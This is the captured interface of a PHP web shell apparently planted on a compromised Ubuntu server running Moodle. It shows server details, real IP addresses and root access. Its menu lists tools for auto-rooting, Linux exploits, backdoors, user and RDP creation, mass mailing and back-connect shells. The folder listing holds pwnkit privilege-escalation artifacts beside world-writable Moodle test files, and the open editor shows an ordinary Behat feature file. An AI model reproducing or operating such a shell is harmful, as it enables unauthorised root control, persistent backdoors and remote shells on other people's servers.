Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
customfield /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
edit_categories.feature
5.52
KB
-rwxrwxrwx
edit_fields_settings.feature
5.74
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
required_field.feature
2.38
KB
-rwxrwxrwx
unique_field.feature
3.19
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : required_field.feature
@core @core_course @core_customfield Feature: Requiredness The course custom fields can be mandatory or not In order to make users required to fill a custom field As a manager I can change the requiredness of the fields Background: Given the following "custom field categories" exist: | name | component | area | itemid | | Category for test | core_course | course | 0 | Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | Scenario: A required course custom field must be filled when editing course settings When I log in as "admin" And I navigate to "Courses > Course custom fields" in site administration And I click on "Add a new custom field" "link" And I click on "Short text" "link" And I set the following fields to these values: | Name | Test field | | Short name | testfield | | Required | Yes | And I press "Save changes" And I log out And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Edit settings" in current page administration And I press "Save and display" Then I should see "You must supply a value here" And I set the field "Test field" to "some value" And I press "Save and display" And I should not see "This field is required" And I log out Scenario: A course custom field that is not required may not be filled When I log in as "admin" And I navigate to "Courses > Course custom fields" in site administration And I click on "Add a new custom field" "link" And I click on "Short text" "link" And I set the following fields to these values: | Name | Test field | | Short name | testfield | | Required | No | And I press "Save changes" And I log out And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Edit settings" in current page administration And I press "Save and display" Then I should see "Course 1" And I should see "Topic 1"
Close